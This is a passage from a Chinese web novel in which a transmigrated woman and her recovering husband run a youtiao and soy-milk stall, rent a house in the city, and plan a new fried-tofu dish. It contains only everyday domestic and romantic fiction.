陆鸢扯着一抹笑,应道:“那没法子,我家郎君就喜欢我这样不修边幅的。” 说着,还朝着祁晟瞧去,调子柔柔地喊:“郎君,你说是不是?” 祁晟背脊略一激灵,晓得她这个语调是不高兴了,有些无奈,但还是给面子她,应了一声“嗯”。 那舞娘脸色顿时就不好看了,矫揉造作地冷哼了一声。 黄鹂笑道:“你可别看人家娘不爱打扮,可人家的郎君就是情人眼里出西施,咱们可都比不上他家娘子。” 来得多了,黄鹂也知道这郎君的眼睛能瞧见了。 她们来了这么多趟,也没见这郎君正眼瞧她们一眼,大多时候都在瞧她那娘子。 每回双日,她们舞坊的姊妹都打赌能不能让这郎君多瞧一眼。可好几回了,都没人能成功。 几个舞娘喝了豆乳后,畏冷,没坐一会儿就回瓦子去了。 等人走了,陆鸢才嘀咕道:“我要是装扮起来,定比她们好看多了。” 祁晟听了这话,转头仔细看了眼她。 察觉到他的视线,陆鸢抬眼瞪他:“你是不是觉得我不好看,她们才好看?!” 祁晟知她这几日的情绪会起伏过大,惹不得,只得低声宽慰道:“我都没有细眼瞧她们,哪知她们是圆是扁。” 陆鸢轻哼了一声,随后去收碗,放到水盆中,等攒一些再让他去洗。 等到子时正,里甲敲锣,他们才收摊归家。 祁晟去烧了热水,端进了屋中,让她泡手泡脚,随即出院子洗洗涮涮。 陆鸢泡了一会手后,便边泡脚边开始数铜板。 等祁晟进屋后,她惊喜道:“咱们今晚进账两百一十文呢,就算是扣了这成本,也有一百三四文,照着这么算,咱们到年底,也能挣下差不多三贯钱呢!” 祁晟道:“我以前也没想过小小的摊子,也能挣这么多的银钱。” 陆鸢道:“我也没想到。” “不过,温饱肯定是没问题的,只是咱们再干十年,也买不起这城里的一处宅子。” “我打听过了,这城里偏一些的地方,一进小三房一厅的破院子,也得好几百贯呢。” 祁晟叹了一口气,说:“咱们寻常人,也有寻常人的过法,这房屋确实是买不起,也没太执着。” 陆鸢踢了踢盆里的热水,说:“现在买不起,说不准以后就能买得起了。” 她看向他,忽然笑吟吟地道:“只要咱们肯干,有目的地干,说不准过个几年就能买得起了。” 祁晟笑着点了点头。 他一身的油烟,便拿了衣裳出去,简单冲洗后,换了一身衣物进屋。 泡了脚,陆鸢身子也暖和了起来。 她钻入了被窝,在床上滚了几圈,随后发出喟叹的声音,道:“还是这大木床躺着舒服。” 床最底下是稻秆编制的床垫子,然后上头也铺了一层柔软的芦花,最上层才是床单。 虽然翻身的时候会有细微的声响,但胜在软硬适中,且还有保暖的作用。 祁晟熄了灯上榻,床够大后,两人挨得也没那么紧了。 可不一会,她还是凑了过来。 “天冷,咱们挤挤也能暖和一些。”她说道。 祁晟琢磨了一下,道:“赶明日,咱们去买个汤婆子,这样不管是出摊能抱着,便是夜里也可以暖一暖被窝。” 陆鸢想了想,这汤婆子还是很有必要的,便应了声“好”。 “等明日咱们早点起来,去看看宅子,趁早把老太太和孩子们接到城里。” 祁晟应了声“行”。 陆鸢睡着觉着冷,小声道:“这被衾好像薄了些,我有点冷,你能不能抱一下我?” 这可不是她想占便宜,而是真的太冷了。 也不知是不是进入深冬了,今晚比前些日子都要冷得多。 祁晟愣了一下,但还是伸出手臂,让她枕到上头。 陆鸢哆哆嗦嗦地躺到他的臂弯里头,双手直接就箍上了他的腰身。 祁晟腰间瞬间绷紧。 随即觉着自己反应过大了,暗暗呼了一息,让自己逐渐放松。 只是片刻后,感觉腰上的手在悄然摸索,他蓦然按住了那只手。 嗓音有些沉:“别闹了,睡吧。” 却不想她用惊奇的语气道:“你的腰好紧实呀。” 不一会,又带着隐隐的兴奋,问:“你腰腹上有没有腹……”想到这古代似乎没有腹肌这个说法,她委婉改口:“一块一块的肌肉?” 祁晟:…… 他默了片刻,似没经过脑子一般,径直拉着她的手放到了他的腹上,让她自己感知。 黑暗中,祁晟的耳廓和脖子都是红的。 便是摸上了他腹部的陆鸢,也没想到他会这么直接,因此面红耳赤。 虽然有些躁,但秉着摸都摸了,她还是隔着一层衣裳多摸了一把。 绷得紧紧,块垒略微分明,似是一层薄肌。 陆鸢只是摸了几息,就立马缩回了手,转身背对了他。 接下来的许久,两个生瓜蛋子愣是没再说话。 也不知过了多久,祁晟才低沉着声问:“要摸的也是你,现在怎的好似我唐突了你?” 陆鸢恼道:“你闭嘴,睡觉了!” 这可不得了了。 这以前一调戏就脸红的人,现在反倒把她给调戏了。 祁晟低低笑出了声。 似乎因为扳回了一层,心情格外的好。 陆鸢听到他的笑声,顿时被激起了不服输的斗志,腾地转过身,伸出手就往他的胸口和腹部上下其手。 祁晟慌忙地抓住她双手,她却是挣扎着,能摸一把是一把。 她恶劣道:“你笑呀,我瞧你还能不能笑出来!” 祁晟确实是笑不出来,忙把她紧紧抱入怀中,抑制她的作乱,认输道:“好了好了,是我错了,好丽娘,莫要闹了。” 陆鸢见好就收,生怕这星火燎原,灭不下来。 她没再动,而是趴在他胸膛上,感受到他胸膛里的心口沉健有力地跳动。 祁晟呼出了几口浊息,抱着她,暗暗调整了呼吸与心律。 许久后,他唤:“丽娘。” 陆鸢“嗯?”了一声。 他默了几息,才斟酌地问:“你有没有小名,在只有你我二人时,只我一个人能唤的小名?” 陆鸢愣了一下,问:“为什么忽然问起这个?” 祁晟道:“我想与别人不同,在你这里起码是不同的。” 陆鸢没急着应他,反问了回去:“那你呢,有没有小名,或者只有我一个人能唤的小名?” 祁晟笑了笑:“我的字,明盛。” 陆鸢问:“有什么含义吗?” 祁晟应道:“晟有光明,兴盛之意,便取之意为明盛。” 陆鸢过了一下嘴:“明盛,祁晟,我还是觉得直接喊你名字顺口些。” 祁晟笑道:“你喜欢唤什么都行,那你呢?” 陆鸢犹豫了一下,才道:“我哪有什么小名,能有名字,而不是像穷人家那样直接唤大丫二丫,就已经不错了。” 祁晟在心下暗暗一叹,随即道:“没有便没有,若以后想改名字,或是起个小名,记得与我说。” “谁没事改什么名字。”她状似嘀咕了一声,随即又道:“明日还要早起去看宅子呢,赶紧睡了吧。” 祁晟低声“嗯”了一声,只是拥着她的双臂,微微收紧。 早间,祁晟熬了热粥,且都已经把盥洗的热水给烧好了,陆鸢还在床上赖着。 他进屋喊:“不是说今日要去看宅子么,还不快起来?” 这一次,是他喊的第三遍了。 陆鸢哼唧了几声,声音中带着些许鼻音,软软地哀求道:“天还早,再让我睡一会儿嘛。” 祁晟心软了好几回,眼瞅着粥凉水凉了,便也就狠下了心来,强硬道:“不早了,再过一个时辰都该做中食了,赶紧起来。” 说着,把她的袄子取来,从被窝把她拉起。 她冷得一缩,还要继续缩回被窝中,祁晟却不给她这个机会,把她拉了起来后,就给她套上衣服。 而后在被衾中给她穿上了她自个缝的袜子。 陆鸢半眯着眼,索性让他服侍自个。 祁晟倒是耐性十足,掀开被衾,拉出她双脚,给她穿上鞋子后,又取来梳篦给她梳头,绾发。 做好了这些后,他才道:“好了,出去洗漱吧。” 他把她拉出了屋子,盛好了热水,就这柳枝一柄塞到了她的手中。 陆鸢缓过了那股困劲,看到手里的热水和柳枝,忽然就笑出了声。 祁晟听到她的笑声,不明所以地看向她,问:“怎了?” 陆鸢笑道:“我怎觉得你好像把我当作闺女一样来照顾了?” 就好像要把闺女送去上学,早早就喊起来,给穿衣穿鞋,梳头。 祁晟叹了一口气,道:“你若是能早些起来,我便不用这么照顾你。” 陆鸢不置可否,盥洗过后,就回到屋子里头与他一块用朝食。 她喝着粥,与他说:“我喜欢你这么伺候我。” 祁晟剥了一个鸡蛋,放到了她面前的碗中,应:“我昏睡的那段时日,皆是你伺候我,我伺候回来,也算是有来有往。” 陆鸢喝了粥,拿起鸡蛋,直接掰开蛋清,随即把蛋黄放回他碗中,说:“都说好几遍了,我不爱吃蛋黄。” 先前是没条件,有得吃就不错了,她哪里还敢挑?现在大概是手里有点小钱,有些飘了,她又开始挑食了。 祁晟也不愿再细想穷苦人家出身,为何会挑食鸡蛋。 他只微微蹙眉,道:“你要怎样,才肯把蛋黄也吃了?” 这蛋的精华都在蛋黄中,她现今身子还是得进补,可不能由着她挑食。 陆鸢想了想:“你下回别做水煮蛋了,直接打碎用油煎一下,我就能把蛋黄也吃了。” 祁晟点了头,说:“我下回就这么做,你也不能挑食了。” 陆鸢点了点头,随即把蛋清给吃了。 吃过朝食后,二人便一同出门寻觅宅子去了。 第69章 陆鸢和祁晟还是去庄宅牙行看宅子。 这广康城说大不大, 说小也不小,要找一处价钱合适,治安还相对好的宅子,还真是件困难的事。 他们是长租, 花一些中介费能租了一个舒适的宅子, 也是值当的。 进了牙行, 便有人招待他们。 知晓他们要租宅子后,便有牙子领他们到一旁的隔间, 端上茶水后,问:“郎君和娘子想要租什么样的宅子?” 家里的事多是陆鸢做主, 祁晟也不说话, 让她提要求。 陆鸢早就把要求想好了,开口就道:“有个院子, 两间寝室, 一间堂屋, 厨房, 澡间和茅房都要有, 治安要好的。” 牙子什么样的要求都听到过,所以也不诧异, 然后和另外一个人搬来了一个大牌子,上边是一个内城图。 祁晟诧异道:“广康城的内城图?” 牙子忙解释道:“也不算是广康城的详细内城图, 这只是个简略的内城图, 当然,也是在公署落过文书的, 公署准允的。” 这么一瞧,这个庄宅牙行比先前寻的那个要靠谱得多。 牙子解释后,便逐一介绍各个区域的住宅。 他指向一处, 说:“东南区,这个地方是城里最为贫困之处,三教九流的人都会居住在此,不仅不安全,且还尤为脏乱,唯一优点则是租金尤为便宜,租金有日结,有月结,日结最便宜为数文,但依着娘子的要求,这处不提议。” 说着,又指向另外两处:“其实这两处最符合娘子的要求,离东市得走半个时辰,相对偏远,但治安会比东南区要好,按着娘子要求的宅子,约莫三百文到五百文不等。” 说着,又往城中心近一些的区域,绕了一圈:“入了这个范围,就娘子所言的院子,四百文到八百文。” 说到这,牙子就没有再往里介绍,只道:“而越往城中央,租金便越贵,若是要长期居住,不值当。” 这个价钱,陆鸢还是能接受的。 夜市两百多文就一个住人的屋子,连个堂屋都没有,相对比和城中偏僻的地方,肯定是贵的,但夜市好歹是闹区,是可做生意的地方,肯定不会比偏僻住宅便宜。 陆鸢问:“四百文到八百文的,到夜市大概要走多久?” 牙子应道:“约莫两刻到三刻。” 陆鸢道:“那能不能带我们去那两个地方去瞧一瞧。” 牙子客气道:“自然是可以,只是这瞧房子有规矩,先交付二十文的车马茶水钱,我们会在两日时间,带客人去看不少于八处宅子。而后看成宅子后,会收取一个月租金的一成五的佣钱,而确定要租下房屋后,也会退还二十文钱。” 瞧着收费远比之前的高,但仔细想,人家凭什么收集这么多的房屋,再带着你满城跑看宅子? 陆鸢爽快地交付了二十文钱,牙子顿时喜笑颜开,带他们去看宅子。 因牙行就在西市附近,所以路经西市口,恰好看到有一群人围着告示榜。 陆鸢也好奇往那边瞅了好几眼。 牙子见此,便与他们道:“我早间就看过告示了,说的是前日有一个壮士路径山林,遇见山匪抢劫绑架,仗义相助,助县丞成功缉拿了在逃的山匪余孽,公署还赏了这壮士八贯钱,还有粮和布呢。” 两人一听,就知道说的是谁了。 陆鸢有些心惊,试探:“可有言明是何处人氏?” 牙子摇头:“这倒是没有言明,要是真言明了,就怕遭到报复。” “不过我倒是听说那被救的,是个粮商,也张榜找寻恩人,说是要报答恩人呢。” “也不知道这粮商能给多少银钱报答这恩人。” 陆鸢与祁晟对视了一眼,微微摇头。 她是爱钱,可不想因为这钱,让祁晟身陷危险。 先前去公署领赏,是刚出事的第二天去领的,那贼人都没反应过来,再说别说也不知他去公署干嘛的。 但粮商却不同,都知他是被救的,就怕被人盯上了,祁晟一去认领,就成了待宰的羔羊,报复到家人身上。 所以和安全太平比起来,这报酬,大可不要。 陆鸢和祁晟随着牙子大概走了小半个时辰,才行过一处小拱桥,走过垂柳河岸,入了一条巷子。 约莫先百来步后,才打开了一处宅院的门。 牙子道:“这便是七百五十文的宅子。” 一跨入其中,看到的便是宽敞的院子,石砖铺地。 院中还有一棵玉兰树,树下还有几个可坐人的石头和一块可做桌子的石头。 去瞧的时候正好是辰时正,一缕日照落入小院中落在石头上,多了几分惬意。 夏夜还可以在这处坐着纳凉。 寝室和围山村那屋子一样大,采光与通风都极好,还附赠了一个小倒座房。 陆鸢只瞧了一会,就喜欢上了这个宅子,但没有明显地表现出来。 而后去瞧的宅子,远没有这一眼瞧的宅子好。 更别说,后边看了更便宜的,三百文到四百文的,简直天差地别。 不说干净程度,就说这宅子的新旧也有很大程度的区别。 走了一整日,脚都走酸了,却只看了五处宅子。 也不急着立刻定下,便与牙子约好后日继续去看宅子。 与牙子分开后,陆鸢顿时露出了明显的喜好来:“怎么办,我一眼就瞧中了第一个宅子。” 越看到后头就越喜欢。 这牙行还是有两把刷子的,先是把最好的拿出来介绍,让人瞧到后边的宅子,都能挑出一堆毛病来。 祁晟回想第一处看得宅子,确实是所有宅子中最好的。 他想了想,说:“若是要住的好,治安也好的,七百五十文的确实是值当的。” 他知道她实在是中意,只不过因这银钱实在是太高了,也缺个人拿定主意,便顺着她的意道:“我们手上也有些银钱,且就着昨日的利润,不算早市,我们一个月就算只出摊十日,也能有一贯四五百钱,足够承担得起这宅子的租金了。” 陆鸢想了想,忽然就想通了,说:“咱们起早贪黑地做活,不就是为了过更好的生活,这还抠抠搜搜的,怎么过好生活?!” 祁晟知道她心思定了,但还是笑问:“不是说想买房子吗?” 陆鸢道:“这省吃俭用都不知道多少年才能买得起房子,总不能一直省一直吃苦吧,谁知道意外和惊喜哪个先到,自然是先把福给享了。” 要是祁晟没挣下那八贯钱,她肯定是不舍得的。 对于她最后的话,祁晟也深有感触。 以前,他又怎会想到自己会昏睡数月,险些醒不过来了。 “那明日便把宅子定下来了?”他问。 陆鸢想了想,说:“得与那牙子压价,所以还得继续看,我觉着那宅子,起码还能再便宜二十文钱一个月。” “我看过了,那宅子的窗台上积了一层灰,就说明闲置许久了,若是真心想租,租金压得也不低,屋主没准就肯少二十文租给我们。” 祁晟道:“确实,这租得起更好宅子的人,会往城中央租宅子,租不起的,只能是租最便宜的,往往剩下的,都是居中的。” 宅子如陆鸢所愿,顺利地租了下来。 一下子交付三个月的租金,屋子便同意每个月少二十文。 因着每月少二十文的租金,便是一下子给牙行一百一十文的佣钱,她也没那么心痛了。 签字画了押,这宅子便是租下了。 虽然祁晟的八贯赏银,如今都快花去了五贯余钱,如今加上家中的存钱,全部不过三贯余钱。 这家里起码还得添置两张小床和一张大床,还有杌子,锅碗瓢盆,这些加起来,估计还得六七百文呢。 但陆鸢看得开,毕竟这些都捯饬完,意外之财还能剩下三贯钱。 相对比回村子钱,全部银钱加起来还不够一贯钱的他们来说,就非常的不错了。 陆鸢与祁晟租下宅子后,便去订了家具,大床和小床都没有了现货,便还等十日。 十日,也正好把老太太和孩子接到城里。 宅子租下,日子越发有盼头了,陆鸢干活也越发有劲头。 早市摆摊,卖力吆喝:“卖外酥脆里软的油炸油条和热乎乎的豆乳咯。” 祁晟低着头翻动油锅里的油条。 忽然一道阴影笼罩了半个摊子,耳边的吆喝声也停顿了,接着,便听到低沉的声音:“给我来一碗豆乳,三根油条。” 祁晟听到声音,抬起了头,看向了来人。 面前的人,是穿着暗色常服,高大雄壮的杨县丞。 哪怕没带任何的兵刃,也只是常服打扮,但他身上的压迫气息还是一样的浓重。 陆鸢悄悄地往祁晟身边迈了几步小碎步。 祁晟应道:“客人先坐,一会儿就来。” 对城里熟悉后,陆鸢早间也会花二十文钱,让牛车来接送去东市,所以带的东西也就多了起来。 几张桌椅和豆乳自然也带着来东市。 虽早市的摊位费比夜市的便宜,但这么大的一块地方,自然也得要十文钱。 像是卖青菜的老百姓,也只收取三文钱的摊位费。 再说回来,陆鸢是真的没想到会在这里再次见到那位煞人的县丞,她有些怵,便让祁晟把豆乳和油条送过去。 祁晟捞起刚油炸好的油条,放到了藤编小篮中,就着豆乳一并端到他跟前。 “大人,你的豆乳和油条。” 坐得四平八稳的县丞道:“我微服,便不用称我为大人。” 祁晟颔首,随即退回了摊前。 陆鸢小声询问:“县丞大人怎么来了?” 祁晟摇了摇头。 县丞拿了一根油条,咬了一口,发出酥脆的声音,有些诧异地瞧了一眼手中金黄的吃食,随即问前边摆摊的夫妻二人:“我走南闯北多年,这吃食,我在别处从未见过,也未曾听过,是你们自己琢磨出来的,还是什么地方的吃食?” 陆鸢还未开口,祁晟便先开了口:“是内子自己琢磨出来的。” 陆鸢略一诧异地看向身旁的祁晟。 她记得自己分明说过是临安地方的吃食,他怎就忽然说是她琢磨出来的? 县丞笑道:“这吃食倒是新鲜,吃着也不错。” 这县丞好似就真的是来用朝食的,吃了三根油条三碗豆乳后,付了银钱后就走了。 陆鸢伸长脖子往县丞离开的方向瞧去,只见他沿途东瞅西瞧,还会再吃食摊子前停下买旁的吃食。 …… 这胃容量,能有这个身量,也不是没有理由的。 陆鸢与身旁的祁晟嘀咕道:“瞧来,咱们这位新上任的县丞,竟还是个爱吃的饕客。” 祁晟笑了笑,道:“民以食为天,哪个挣钱的,不都是为了吃穿。” 陆鸢小声道:“我还当这县丞对吃没啥要求,只一心办实事,求功绩呢。” 祁晟:“那也不妨碍好吃。” 陆鸢点了点头,随即回神,问道:“我记得我说过这油条是临安的吃食,你怎骗人说是我琢磨出来的?” 祁晟微默,随即道:“说是你琢磨的,也省得县丞再询问临安有旁的吃食,到时你若答不上来,说不准还怀疑你的身份。” 陆鸢微微拧眉,她总觉得这县丞不似那等打破砂锅问到底的性子。 但随即想起刚刚县丞提起他走南闯北,那就代表着去过许多地方。 没准还去过临安…… 想到这,陆鸢心下一突。 这会临安是否已经有油条了,她也不能确定。万一还没有,恰好这县丞也去过临安,她答不上究竟是临安那处的吃食,岂不是招人怀疑? 想到这里,陆鸢心里有些后怕。 瞧来往后可不能这么随心所欲了,得小心谨慎些了。 只是,有一点让她很在意。 她复杂地瞧向在忙碌的祁晟。 是错觉吗? 他方才的举动,分明像是知道些什么,为她在开脱…… 第70章 陆鸢心中有了疑惑, 探究的目光瞅向祁晟,微微眯眸。 祁晟就是没看她,也感觉到她的目光停留在自己的身上。 他不动声色道:“如今黔地旱情还没得到解决,咱们是普通人家, 若是表现得太多的不同, 会被人当作外邦细作, 一旦被怀疑上,就很难摆脱嫌疑了。” 陆鸢闻言, 神色微微一滞。 所以,他怀疑的不是她现在这个人借尸还魂? 而是怀疑她的来历是编造的? 这…… 她是该解释, 还是不解释? 而且, 他这态度,是什么意思? 是怀疑她的身份, 却还要帮她瞒着? 陆鸢脑子懵懵的, 一时理不清他到底什么想法。 她想, 这大概就是她当不了医生, 只能做护士的原因。 ——脑子不够聪明。 很快, 就有客人要买油条和豆乳,也打断了陆鸢的胡思乱想。 陆鸢又开始忙碌了起来。 直至巳时末, 牛车来了,他们才收摊回去。 回到家中, 祁晟把今日早市买的排骨洗干净, 然后放到砂锅中炖。 陆鸢在厨房门口瞧着,道:“这得什么时候才能吃上中食?” 祁晟擦了手, 应道:“咱们回来前,还在早市喝了羊杂汤,你这会也不饿。” 生活了这么短时间, 他对于她的胃口不说了如指掌,也了解得七七八八了,看到什么都想吃,但每样都只能装下两三口。 陆鸢嘟囔:“上午的羊杂汤不好喝,有膻味。” 所以她喝了没几口,就推给了祁晟,他倒是面色不变地喝完了。 祁晟道:“你还吃了自家的油条豆乳,还用油条换了个隔壁摊子的包子,好像还有……” 陆鸢立马打断:“好了,别说了,我能等。” 祁晟轻笑了笑,随即道:“把汤婆子给我,我给你换热水。” 陆鸢把背篓里早已经凉透的汤婆子拿了出来,脱下布套,再把里头的热水倒了出去后,才递给他。 祁晟装了热水,套上两层布的布套后,才递给她:“回屋数铜板吧,等可以吃中食,我再喊你。” 陆鸢接过了汤婆子,斜眼睨他:“我怎觉得你像在哄孩子?” 祁晟笑笑不语。 她的性子可不正像个孩子样。 两人好像都没有把今日遇见县丞之事放在心上。 陆鸢抱着汤婆子进了屋,然后开始数铜板记账。 祁晟进屋舀米,见她记账,瞄了一眼就出去了。 她有时成语连连,可这字着实难看,而且这些字都不似正经认过字的。 虽是如此,但他也没有把这疑问问出来。 她本就没有完全信任他,若是让她多疑起来,没准真会像她先前说的那样——跑了。 所以他什么都不问,或者说,他这辈子都不会过问。 等中食做好,已经是半个时辰后的事了。 吃着中食,两人相互夹菜,一派平和,好似只要没人提起,就是风平浪静。 陆鸢看向他的双眼,道:“是不是差不多要去医馆复诊了?” 祁晟算了算时日,点了头:“应当就是这几日了。” 陆鸢道:“那下午要不要过去一趟?” 祁晟给她夹了肉,应:“晚上还要出摊,今日又早起了,还是歇好午晌,明日再去。” 陆鸢点了头:“那行吧。” 吃完中食,陆鸢消食时,见祁晟拿藤条出来编织,她问:“你不睡吗?” 祁晟摇了摇头:“我不困,你歇着吧。” 陆鸢皱起眉头:“你五更天就起来推磨了,下午还得推磨,不歇一会怎么行。” “这藤编也不一定要做的。” 虽然他也说过重活都交给他,可陆鸢也不是那种没心没肺的人。 祁晟想了想,应:“消一会食,我再与你一块睡。” 陆鸢听到这话,才满意。 过了小半个时辰,祁晟编了小半个篮子,便被陆鸢拉着上榻了。 被窝里有汤婆子,一进去就是暖和的。 许是太累了,上榻没多久,陆鸢便睡着了。 瞧着她睡着,祁晟才放轻动作掀开被褥,披上衣裳,继续编篮子。 编好后,便放入背篓中,省得她看见后,念叨。 入夜,陆鸢在摊子前挂上灯笼,没过多久,就听到有人吆喝起了油条。 她愣了一下,让祁晟看着摊子,自个循声找了过去。 到了摊子前,果然看到有人在炸油条。 她和那摊主对上了视线,摊主直接别开了视线,不与她对视。 陆鸢看出来了,这是先前做炸饼子的摊贩。 这时恰好有人来买油条,也是三文钱一根,但个头比她家的要大一些。 陆鸢转身回了摊位前。 祁晟问她:“是有人也做出了油条?” 陆鸢点了点头,有些丧气道:“也是三文钱一根,但个头比我们大,今晚我们的生意肯定会很差。” 她还以为这油条好歹能撑过冬日,旁人才能琢磨出做法来,没成想这才一个多月,人家就给琢磨出来了。 祁晟拿了四个铜板,让过路的少年帮忙买了一根油条回来。 转而与她说:“先尝一下别人做的味道。” 不一会,那少年把油条买了回来。 祁晟掰了一些,没有酥脆的声音,随即放进口中咀嚼。 陆鸢紧紧盯着他看,着急追问评价:“怎么样怎么样?” 祁晟给她掰了一下,送到她嘴边。 陆鸢也尝了一会,吞咽后,才道:“这油条虽然没有咱们的酥脆,内里也好像有些死面的感觉,但是假以时日,肯定能做出更好的口感。” 说到这,她表情更丧了:“这盈利肯定会减少很多,咱们才刚租下了一个月七百三十文的宅子……” 祁晟道:“毕竟不是特别难的吃食,有竞争也是正常的,但也不是人人都能琢磨出来的,起码这会,偌大的广康城,就只有两家做油条,客人也会先选老字号,不至于不挣钱。” 陆鸢听到老字号,抬头看向挂灯笼的竹竿,道:“对,咱们是老字号,明日去弄面旗子来,写上……” 说到写什么的时候,陆鸢忽然止住了话头,险些就把“陆记”两个字说了出来。 祁晟问:“写上什么?” 陆鸢佯装为难道:“一时不知道该叫祁记还是苏记。” 祁晟道:“你琢磨出来的吃食,自然是苏记。” 陆鸢应:“那就苏记。” 想了一下,她又道:“咱们也不能独独卖油条了。前段十日因这油条是新鲜吃食,所以大家也都好奇地尝试,但久了,都尝过味道了,而且还有别家也都开始炸油条来卖了,咱们生意肯定冷淡。” 祁晟好奇地看着她:“你还想做点别的吃食?” 陆鸢点头:“我要仔细想想。” 她可是刷过各种美食教学短视频的人,虽然能记下来的寥寥无几,而且材料比例也不一定能记得全,但比起这时代的人,已经赢在起跑线上了。 说了仔细想,她就趴在桌子上开始神游。 今晚生意差了一些,也不是很忙,祁晟自己一个人也能忙得过来。 偶尔得闲,转头看向陆鸢,只见她苦恼地拍着自己的脑门。 祁晟盛了一碗豆乳放到她面前,说:“你就是想不出来,也别这般使劲地拍头,别给拍坏了。” 陆鸢抬头,抿着嘴,眼汪汪地看向他。 朦胧的烛光之下,她的神色是那么的可怜,又无助。 祁晟猝不及防地对上她这副委屈的模样,心头猛然一颤,好似心口被人轻轻地挠了一下。 陆鸢与他的情绪并不相通,这会她分外难过:“想不出来,咋办?” 她想过做饮子,但这夜市就有好几家了,就算她想做奶茶,别说是牛奶了,这茶叶都贵得很。 而且这冬日,热饮卖得不如夏日的凉饮好。 她也想做麻辣烫,但得要用到炭,成本格外高,且这夜市也有做烫菜的,不见得是新鲜吃食。 以前要是把小吃法子都当作古诗来背就好了,也不至于书到用时方恨少。 祁晟声音不由地柔和了下来,劝慰道:“不急在这一时,咱们慢慢想。” “喝口热豆乳,暖暖身子。” 陆鸢低头看向热气腾腾的豆乳,微微眯眼。 她要不要死磕这黄豆制品? 毕竟这黄豆便宜,一斤黄豆才六七文钱,做成豆乳也能挣到十几文钱。 毕竟,这做别的吃食,可没有这么大的挣头。 心里有了算计,陆鸢捧着豆乳,喝完之后,抱起汤婆子站了起来,与祁晟道:“我去夜市逛逛,你看着摊子。” 祁晟点头:“你去吧,小心些扒手。” 陆鸢听到这话,便把自己的钱袋子给他保管后,才离开了摊子,在夜市逛了起来。 她主要是为了观察夜市上的豆制品小食。 看了一圈,有豆乳豆花,还有煎豆腐,响铃卷等等。 陆鸢望着煎豆腐,心里有了主意。 或许可以先试试做炸豆腐。 炸豆腐就是水豆腐切小块,块沾上豆粉和木薯粉放到油锅里炸,做法简单,也不是什么稀罕的吃食,但可以在酱料上多费些心思。 不求一直能做下去,但起码也能挣一些钱。 总好过她一时间想不出什么好吃食,干着急的强。 陆鸢琢磨起了可行性,也就没继续逛下去,而是回了摊子。 祁晟把油条炸得与前边摊子一样大小,装给了客人后,问她:“瞧得怎么样了?” 陆鸢道:“暂时有个想法,明天试试。” 说罢,又道:“估计也挣不了什么钱,只能挣些小钱。” 祁晟闻言,一笑:“小钱也是钱,积少成多。” 陆鸢也跟着笑:“是是是,小钱也是钱,那咱们今晚挣了多少小钱?” 祁晟道:“是比上回出摊差了些,但开摊子到现在小半个时辰,也已经进账三十来文了。” 陆鸢:“那也还是能挣够花销的钱的,就是存不下什么钱。” 说到这,她似乎又燃起了斗志,眼神格外地坚定,道:“不琢磨了,明天咱们就去东市,去买材料尝试做新吃食。” 祁晟定定地望着她,唇角不由上扬,眼里也在不知不觉间盛满了笑意。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 陆鸢记挂着要做新吃食, 所以一收摊回去,就开始琢磨起做酱料的材料。 这个时代还没有辣椒,所以必须得有花椒和茱萸。 茱萸可是这古代辣椒的替代品,她也是在夜市摆摊后, 才知道的。 “花椒茱萸要买, 还有八角, 桂皮桂叶,小茴香, 孜然,生姜, 草果, 肉豆蔻,蒜, 对了, 还要芝麻。” 陆鸢把能想起的香料配料都写了出来。 祁晟给她把发髻解下来, 听着她的嘟囔, 无奈笑笑。 昨日在市集上, 她有些警惕他了,可这点警惕却不多, 这会又开始说出一些寻常人根本不知道的香料。 好一会,祁晟问:“还要继续想吗?” 陆鸢摇了摇头:“这些应该够了。” “咱们明天巳时正就出门吧。” 祁晟对此怀疑道:“你能起得来吗?” 陆鸢斜眼睨他:“你瞧不起谁呢?” 她把写有材料的纸撕了下来, 然后放进枕头底下, 打了个哈欠:“早点睡,这样就能早起。” 她躺上床, 滚了几圈,滚到了最里头。 被窝早早就放了汤婆子,一钻入, 她就满足得喟叹出声。 陆鸢无比庆幸自己穿的流放之地,而不是宁古塔,不然能不能活到明年开春都是个问题。 第二日一早,陆鸢罕见地也没有赖床,辰时就起床盥洗,出门采买。 家中黄豆还存有二十来斤,也不急着补。 这一斤黄豆能做多少的豆腐,她没做过,也不大清楚。 当然,她这会还不确定是否真要做油炸豆腐的小吃,所以也不急着做豆腐,而是先去市场买现成的。 真的确定要做后,她才会去尝试做豆腐。 这水豆腐她还真会。 只要在做成豆花之后,倒进模具中捣碎,用竹子或是木板子压住,若是想要豆腐是嫩的,就只需在上头放上重石头,或者装水的水盆,压上小半个时辰即可。 若是要做老豆腐,那就得压久一些。 市集上的豆腐,两文钱一大块,瞧着由半斤多点。 买两文钱的豆腐和姜蒜后,陆鸢便拉着祁晟去医馆。 正好,他要复查,她也可以在药材铺子买需要用到的香料。 在医馆买香料,应该会比香料铺子的要来得便宜。 大夫给祁晟查看的时候,陆鸢则去让药童帮忙抓香料。 她细数了一遍需要用到的药材,然后看向记好在纸上的药童。 药童记好后,也抬头看向她。 四目相对了好半晌,药童问:“娘子你没说要多少呢。” 陆鸢忙道:“这些大概多少钱一两?” 药童道:“八角、肉豆蔻、草果、花椒七文钱一两,茱萸、孜然,芝麻六文钱一两,桂皮、桂叶、小茴香则五文钱一两。娘子要多少两?” 陆鸢:…… 这香料还真是死贵死贵的。 “每样先给我称二两吧。” 十样香料,每样二两,就花去了一百二十二文。 这香料捣成粉,也有一斤多重,只是用来调味,也能用许久了。 药童拣着药材,她则走去祁晟在的隔间。 撩开帘子时,大夫正好坐回位上。 陆鸢问:“大夫,我郎君如何了?” 大夫笑道:“你家郎君是我见过恢复能力最好的了,旁人若是他这样的情况,少则半年才能养好,可现在不过数月,他这身体半点毛病也没有了。就是这双眼,也没有太大的问题了,也不用再喝药。” 想了想,又道:“我给你开些药用来敷眼,另外切记莫用眼过度,平日便是不睡,隔一个时辰左右,闭眼休息一刻。” 陆鸢闻言,明白了。 这是进入康复后期了,那么这眼保健操也可以派上用场了。 大夫开了药方,陆鸢拿着去抓药。 祁晟这诊费和医药费花得少了,拢共四十六文。 从医馆出来,祁晟问她:“你抓好要的香料了?” 陆鸢点头:“抓好了,贵得很,这每样二两,就要了一百多文,之前还想着做卤肉呢,但这香料就这么贵了,肉也贵,一份得买多少钱,才能挣钱?” 最主要这卤肉不适合在夜市摆卖,再说夜市上也不缺卖肉的。 有烤羊肉串,有卖煎羊肠和羊肺片,一碟子卖十五文钱,吃着也可香了。 这卤肉卖得太贵,别人也见不得能舍得吃。 她昨日逛了一圈,还没见着有油炸豆腐。 这豆腐成本低,就是这香料贵了些,平均每份下来,成本应当也高不到哪去。 